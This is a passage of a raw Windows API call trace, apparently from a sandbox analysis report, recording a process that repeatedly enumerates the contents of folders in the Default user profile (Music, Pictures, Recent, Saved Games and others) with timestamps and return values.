hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.420] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.420] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0211.420] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.421] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.421] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.421] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.421] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0211.422] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*" (normalized: "c:\\users\\default\\local settings\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.425] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0211.425] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*" (normalized: "c:\\users\\default\\local settings\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.428] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0211.429] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0211.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.429] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0211.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.430] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0211.430] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.430] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.430] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.431] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.431] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0211.431] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*" (normalized: "c:\\users\\default\\my documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.434] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0211.434] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*" (normalized: "c:\\users\\default\\my documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.612] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0211.613] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*" (normalized: "c:\\users\\default\\nethood\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.616] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0211.616] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*" (normalized: "c:\\users\\default\\nethood\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.619] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0211.619] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.619] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.619] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.620] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.620] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0211.620] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.620] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.621] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.621] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.621] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0211.621] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*" (normalized: "c:\\users\\default\\printhood\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.843] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0211.843] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*" (normalized: "c:\\users\\default\\printhood\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.848] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0211.848] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.851] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0211.852] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.855] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0211.855] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0211.856] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.856] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.856] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0211.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.857] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0211.857] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.857] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.858] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 